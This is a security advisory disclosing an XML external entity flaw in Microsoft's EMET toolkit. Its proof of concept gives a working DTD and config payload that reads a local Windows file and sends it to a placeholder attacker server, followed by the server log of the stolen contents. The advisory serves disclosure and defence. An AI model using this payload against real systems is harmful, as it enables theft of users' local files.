Enhanced Mitigation Experience Toolkit (EMET) XML Injection

`[+] Credits: John Page (aka hyp3rlinx)   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-EMET-XML-INJECTION.txt  
[+] ISR: Apparition Security   
  
  
  
***Greetz: indoushka|Eduardo|Dirty0tis|cor3sm4sh3r***   
  
  
  
Vendor:  
================  
www.microsoft.com  
  
  
Product:  
===========  
Enhanced Mitigation Experience Toolkit (EMET)  
  
Enhanced Mitigation Experience Toolkit is a freeware security toolkit for Microsoft Windows, developed by Microsoft.  
It provides a unified interface to enable and fine-tune Windows security features.   
  
  
  
Vulnerability Type:  
===================  
XML External Entity Injection  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
Security Issue:  
================  
EMETs XML parser does not account for external entity declarations in ".config" files. This allows outbound network connections and users local files  
to be exfiltrated to remote attacker controlled server. Conditions are a user must be tricked into importing a specially crafted XML file.  
  
  
  
Exploit/POC:  
=============  
1) python -m SimpleHTTPServer  
  
  
2) "payload.dtd"   
  
<?xml version="1.0" encoding="UTF-8"?>  
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACK-SERVER:8000?%file;'>">  
%all;  
  
  
3) "config.xml"   
  
import into EMET interface.  
  
  
<?xml version="1.0"?>  
<!DOCTYPE emet_poc [   
<!ENTITY % file SYSTEM "C:\Windows\system.ini">  
<!ENTITY % dtd SYSTEM "http://ATTACK-SERVER:8000/payload.dtd">  
%dtd;]>  
<pwn>&send;</pwn>  
  
  
Result seen on ATTACK-SERVER:  
=============================  
  
C:\sec>python -m SimpleHTTPServer  
Serving HTTP on 0.0.0.0 port 8000 ...  
PC - - [19/May/2018 22:53:02] "GET /payload.dtd HTTP/1.1" 200 -  
PC - - [19/May/2018 22:53:02] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA8  
0WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awa  
ve=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 301 -  
PC - - [19/May/2018 22:53:02] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA8  
0WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awa  
  
  
  
  
Network Access:  
===============  
Remote  
  
  
  
Severity:  
=========  
High  
  
  
  
Disclosure Timeline:  
=============================  
Vendor Notification: June 5, 2018  
Vendor reply : "We determined your finding is valid but does not meet our bar for servicing" : June 30, 2018  
June 30, 2018 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`